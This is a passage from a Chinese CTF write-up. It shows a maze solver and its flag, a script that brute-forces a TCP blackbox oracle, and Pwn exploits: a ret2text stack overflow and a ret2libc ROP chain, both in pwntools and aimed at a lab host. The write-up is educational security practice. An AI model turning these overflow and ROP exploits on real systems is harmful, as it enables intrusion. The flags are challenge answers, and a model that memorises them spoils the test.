</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="n">z</span> <span class="o">*</span> <span class="mh">0x7FEB352D</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">^=</span> <span class="n">z</span> <span class="o">&gt;&gt;</span> <span class="mi">15</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="n">z</span> <span class="o">*</span> <span class="mh">0x846CA68B</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">^=</span> <span class="n">z</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">z</span> <span class="o">&amp;</span> <span class="mh">0xF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">walls</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">=</span> <span class="n">y</span> <span class="o">*</span> <span class="n">W</span> <span class="o">+</span> <span class="n">x</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="n">ENC</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">maze_key</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DIRS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;W&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;S&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">q</span> <span class="o">=</span> <span class="n">deque</span><span class="p">([(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl"><span class="n">prev</span> <span class="o">=</span> <span class="p">{(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span> <span class="kc">None</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="n">q</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">q</span><span class="o">.</span><span class="n">popleft</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">W</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">H</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ch</span><span class="p">,</span> <span class="n">dx</span><span class="p">,</span> <span class="n">dy</span><span class="p">,</span> <span class="n">bit</span> <span class="ow">in</span> <span class="n">DIRS</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">nx</span><span class="p">,</span> <span class="n">ny</span> <span class="o">=</span> <span class="n">x</span> <span class="o">+</span> <span class="n">dx</span><span class="p">,</span> <span class="n">y</span> <span class="o">+</span> <span class="n">dy</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">nx</span> <span class="o">&lt;</span> <span class="n">W</span> <span class="ow">and</span> <span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">ny</span> <span class="o">&lt;</span> <span class="n">H</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">walls</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">bit</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">nx</span><span class="p">,</span> <span class="n">ny</span><span class="p">)</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">prev</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">prev</span><span class="p">[(</span><span class="n">nx</span><span class="p">,</span> <span class="n">ny</span><span class="p">)]</span> <span class="o">=</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">ch</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">q</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">nx</span><span class="p">,</span> <span class="n">ny</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cur</span> <span class="o">=</span> <span class="p">(</span><span class="n">W</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">H</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">route</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="n">prev</span><span class="p">[</span><span class="n">cur</span><span class="p">]</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">px</span><span class="p">,</span> <span class="n">py</span><span class="p">,</span> <span class="n">ch</span> <span class="o">=</span> <span class="n">prev</span><span class="p">[</span><span class="n">cur</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">route</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cur</span> <span class="o">=</span> <span class="p">(</span><span class="n">px</span><span class="p">,</span> <span class="n">py</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">route</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">reversed</span><span class="p">(</span><span class="n">route</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">route</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">route</span><span class="p">))</span>
</span></span></code></pre></div><p>正确路线和flag：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">DSASDDWWDSDWDDDDDDDSDSDSDSDWWDSDWDWAAWDDDSDSASDSAASASDSSSASSSDDWWWDSSSSAAAASAWWWDWAASSSAWAWWAWAWWWDSDDSDSDDWAWDWWASAAAWWWAAWASAAAAWAASASSASSSDSAASSSDWDWDSDSASDDWWWAWDDSDSSSASASSAAWDWAASSSASDSSDWWWDSDSSDDWAWWWWDDDWWAWWWWAWWWASAASAWWDDWAAWDDDSDDDSASDSSSDSSDSSDDDSAAAASAASDSSASDDWDDSDWWWASAAWDWDDDSDSSSDDDWWAWAWWDSDWWDDSASSSDSASD
</span></span></code></pre></div><p>输入后得到：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag{stateful_vm_maze_326_steps}
</span></span></code></pre></div><h3 id="blackbox_ladder_lock">
<a class="header-anchor" href="#blackbox_ladder_lock"></a>
blackbox_ladder_lock
</h3><p>服务不会给附件，只提供一个TCP黑盒。输入长度不对时会返回<code>need=31</code>，输入长度正确时返回<code>depth=x/31</code>。</p>
<p>核心观察：<code>depth</code>是“从第0层开始连续通过了多少层”。每一层只检查flag的一个位置，但检查顺序被打乱。因此可以用一个不会出现在flag字符集里的填充字符，例如<code>?</code>，让初始输入稳定停在第0层。</p>
<p>之后逐层恢复：</p>
<ol>
<li>
<p>构造31个<code>?</code>。</p>
</li>
<li>
<p>当前<code>depth=d</code>时，枚举所有未知位置。</p>
</li>
<li>
<p>对每个未知位置枚举<code>abcdefghijklmnopqrstuvwxyz0123456789_{}</code>。</p>
</li>
<li>
<p>如果某次查询让<code>depth</code>增大，说明这一层对应的位置和值都找到了。</p>
</li>
<li>
<p>固定该字符，继续恢复下一层。</p>
</li>
</ol>
<p>脚本：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">argparse</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ALPHABET</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;abcdefghijklmnopqrstuvwxyz0123456789_</span><span class="si">{}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">FILLER</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="s2">&#34;?&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">recv_until</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">marker</span><span class="o">=</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="n">marker</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">data</span> <span class="ow">and</span> <span class="sa">b</span><span class="s2">&#34;flag: &#34;</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">chunk</span> <span class="o">=</span> <span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">chunk</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span> <span class="o">+=</span> <span class="n">chunk</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">data</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">query</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">candidate</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">sock</span><span class="o">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">candidate</span> <span class="o">+</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">recv_until</span><span class="p">(</span><span class="n">sock</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="sa">b</span><span class="s2">&#34;flag: &#34;</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">flag</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;flag: &#34;</span><span class="p">,</span> <span class="mi">1</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">31</span><span class="p">,</span> <span class="n">flag</span>
</span></span><span class="line"><span class="cl">    <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">rb</span><span class="s2">&#34;depth=(-?\d+)&#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="ne">RuntimeError</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;bad response: </span><span class="si">{</span><span class="n">data</span><span class="si">!r}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)),</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">ap</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">ap</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s2">&#34;host&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ap</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s2">&#34;port&#34;</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">args</span> <span class="o">=</span> <span class="n">ap</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">socket</span><span class="o">.</span><span class="n">create_connection</span><span class="p">((</span><span class="n">args</span><span class="o">.</span><span class="n">host</span><span class="p">,</span> <span class="n">args</span><span class="o">.</span><span class="n">port</span><span class="p">),</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span> <span class="k">as</span> <span class="n">sock</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">recv_until</span><span class="p">(</span><span class="n">sock</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">depth</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">query</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;?&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">depth</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="ne">RuntimeError</span><span class="p">(</span><span class="s2">&#34;unexpected length oracle response&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">n</span> <span class="o">=</span> <span class="mi">31</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">([</span><span class="n">FILLER</span><span class="p">]</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">unknown</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">depth</span><span class="p">,</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">query</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">candidate</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">flag</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">while</span> <span class="n">depth</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">found</span> <span class="o">=</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">pos</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">unknown</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="n">old</span> <span class="o">=</span> <span class="n">candidate</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">                <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">ALPHABET</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">candidate</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">=</span> <span class="n">ch</span>
</span></span><span class="line"><span class="cl">                    <span class="n">new_depth</span><span class="p">,</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">query</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">candidate</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                    <span class="k">if</span> <span class="n">flag</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">                        <span class="k">return</span>
</span></span><span class="line"><span class="cl">                    <span class="k">if</span> <span class="n">new_depth</span> <span class="o">&gt;</span> <span class="n">depth</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;stage </span><span class="si">{</span><span class="n">depth</span><span class="si">:</span><span class="s2">02d</span><span class="si">}</span><span class="s2">: pos=</span><span class="si">{</span><span class="n">pos</span><span class="si">:</span><span class="s2">02d</span><span class="si">}</span><span class="s2"> char=</span><span class="si">{</span><span class="nb">chr</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span><span class="si">!r}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="n">depth</span> <span class="o">=</span> <span class="n">new_depth</span>
</span></span><span class="line"><span class="cl">                        <span class="n">unknown</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">pos</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="n">found</span> <span class="o">=</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">                        <span class="k">break</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="n">found</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span>
</span></span><span class="line"><span class="cl">                <span class="n">candidate</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">=</span> <span class="n">old</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="ow">not</span> <span class="n">found</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">raise</span> <span class="ne">RuntimeError</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;no progress at depth </span><span class="si">{</span><span class="n">depth</span><span class="si">}</span><span class="s2">, candidate=</span><span class="si">{</span><span class="n">candidate</span><span class="si">!r}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">final_depth</span><span class="p">,</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">query</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">candidate</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">flag</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">candidate</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;depth=</span><span class="si">{</span><span class="n">final_depth</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p>flag为<code>flag{blackbox_ladder_lock_2026}</code></p>
<h2 id="pwn">
<a class="header-anchor" href="#pwn"></a>
Pwn
</h2><h3 id="s1mple_stak3_0verfl0w">
<a class="header-anchor" href="#s1mple_stak3_0verfl0w"></a>
S1mple_Stak3_0verfl0w
</h3><h4 id="思路">
<a class="header-anchor" href="#%e6%80%9d%e8%b7%af"></a>
思路
</h4><p><img src="/images/2026cuz_1_wp/image-20251209110255703.png" alt="image-20251209110255703"></p>
<p>先check一下，之开启NX，32位</p>
<p><img src="/images/2026cuz_1_wp/image-20251209110328306.png" alt="image-20251209110328306"></p>
<p>进入IDA，main函数看到提示是一道ret2text32位的题目</p>
<p><img src="/images/2026cuz_1_wp/image-20251209110405353.png" alt="image-20251209110405353"></p>
<p>ctfshow（）中看到buf距离ebp有0x12的距离，buf通过read能写入0x32大小的数据，显然这里纯在栈溢出。</p>
<p><img src="/images/2026cuz_1_wp/image-20251209110548439.png" alt="image-20251209110548439"></p>
<p><img src="/images/2026cuz_1_wp/image-20251209110619827.png" alt="image-20251209110619827"></p>
<p>通过gdb动态调试发现，偏移位22（和IDA显示的一样0x12+4）</p>
<p><img src="/images/2026cuz_1_wp/image-20251209110916595.png" alt="image-20251209110916595"></p>
<p>因为是text的题目，题目应该有后门函数，IDA看到有backdoor</p>
<p><img src="/images/2026cuz_1_wp/image-20251209110936348.png" alt="image-20251209110936348"></p>
<p>因为没开pie，直接看一下backdoor地址</p>
<p>所以exp就很简单了</p>
<h4 id="exp">
<a class="header-anchor" href="#exp"></a>
EXP
</h4><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p=process(&#34;./pwn&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">&#34;10.1.40.168&#34;</span><span class="p">,</span><span class="mi">32777</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="p">(</span><span class="mh">0x12</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x08048521</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><h3 id="libc_cafe">
<a class="header-anchor" href="#libc_cafe"></a>
libc_cafe
</h3><h4 id="思路-1">
<a class="header-anchor" href="#%e6%80%9d%e8%b7%af-1"></a>
思路
</h4><p><img src="/images/2026cuz_1_wp/image-20260520133722327.png" alt="image-20260520133722327"></p>
<p>开了NX保护</p>
<p><img src="/images/2026cuz_1_wp/image-20260520133352392.png" alt="image-20260520133352392"></p>
<p>我们可以看到read函数存在一个明显的栈溢出，同时我们没有看到又system，binsh等明显的漏洞点，所以结合题目我们猜测这道题应该是ret2libc的题目，那显然又puts函数所以我们利用puts函数找libc偏移（题目提供libc了）即可。且这道题没有其他干扰因此直接利用模板直接解出即可。</p>
<h4 id="exp-1">
<a class="header-anchor" href="#exp-1"></a>
EXP
</h4><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">&#34;info&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./libc_cafe&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./libc.so.6&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">elf</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">offset</span> <span class="o">=</span> <span class="mh">0x48</span>
</span></span><span class="line"><span class="cl"><span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">rop</span><span class="o">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s2">&#34;pop rdi&#34;</span><span class="p">,</span> <span class="s2">&#34;ret&#34;</span><span class="p">])</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="cl"><span class="n">ret</span> <span class="o">=</span> <span class="n">rop</span><span class="o">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s2">&#34;ret&#34;</span><span class="p">])</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">send_payload</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">payload</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Leave your order:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">&#34;10.1.40.168&#34;</span><span class="p">,</span><span class="mi">32849</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="n">offset</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">pop_rdi</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s2">&#34;puts&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s2">&#34;puts&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s2">&#34;main&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">send_payload</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
